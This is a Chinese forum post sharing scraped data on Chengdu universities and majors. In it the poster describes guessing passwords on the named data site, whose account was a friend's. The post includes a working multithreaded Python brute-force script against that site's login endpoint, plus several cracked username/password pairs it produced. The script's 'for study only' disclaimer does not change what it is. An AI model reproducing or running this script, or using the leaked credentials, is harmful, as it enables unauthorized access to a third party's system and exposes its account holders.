今天练手爬的数据,需要的自取~
高校及专业数据(2021-2024)
(基于四川成都)
阿里云盘:https://www.alipan.com/s/qmX6gQ4stCV
高校信息数据示例:
高校专业数据示例:
数据来源:
http://dwfcx.com/zsdwf/sc_zd/x_list_zd.jsp
直接用python,C出来的号(可以自己登录进去切换省份):
登录成功,用户名:SCA31,密码:668
登录成功,用户名:SCA33,密码:211
登录成功,用户名:SCA34,密码:668
登录成功,用户名:SCA43,密码:556
其中SC好像是四川,我换成SD不行,应该A也有关系
13 个赞
研究生,我找到不限制的数据来源,很多都需要登陆还有请求频率限制, 现在的我还爬不太动
网站上朋友给我的需要登录注册,网站很简陋,完全jsp写的。
这个:http://dwfcx.com/zsdwf/sc_zd/x_list_zd.jsp
因为是朋友的,不太方便透露账号密码了
但是我看着账号和密码似乎有规律,我去扫一下试试
出来了!
登录成功,用户名:SCA33,密码:211
登录成功,用户名:SCA34,密码:668
登录成功,用户名:SCA43,密码:556
用这个撞得密码 (仅供学习交流,勿emmm使用)
import requests
import threading
# 初始密码和密码上限
cardNO = "SCA31"
min_password = 1
max_password = 999
# 构建请求头
headers = {
"User-Agent": "Mozilla/5.0"
}
# 发送请求的函数
def try_login(password):
url = "http://dwfcx.com/zsdwf/sc_zd/_x_login.jsp" # 替换为实际的URL
formatted_password = f"{password:03}" # 将密码格式化为三位数
data = {"no": cardNO, "passwd": formatted_password}
response = requests.post(url, data=data, headers=headers)
if response.status_code == 200:
result = response.text
if "redirect:x_list_yx" in result:
print(f"登录成功,用户名:{cardNO},密码:{formatted_password}")
# else:
# print(f"登录失败,密码:{formatted_password}")
else:
print("请求失败,状态码:", response.status_code)
# 创建并启动线程
threads = []
for password in range(min_password, max_password + 1):
thread = threading.Thread(target=try_login, args=(password,))
threads.append(thread)
thread.start()
# 限制同时运行的线程数量,例如每次不超过10个
if len(threads) >= 10:
for t in threads:
t.join() # 等待线程完成
threads = [] # 重置线程列表继续下一批次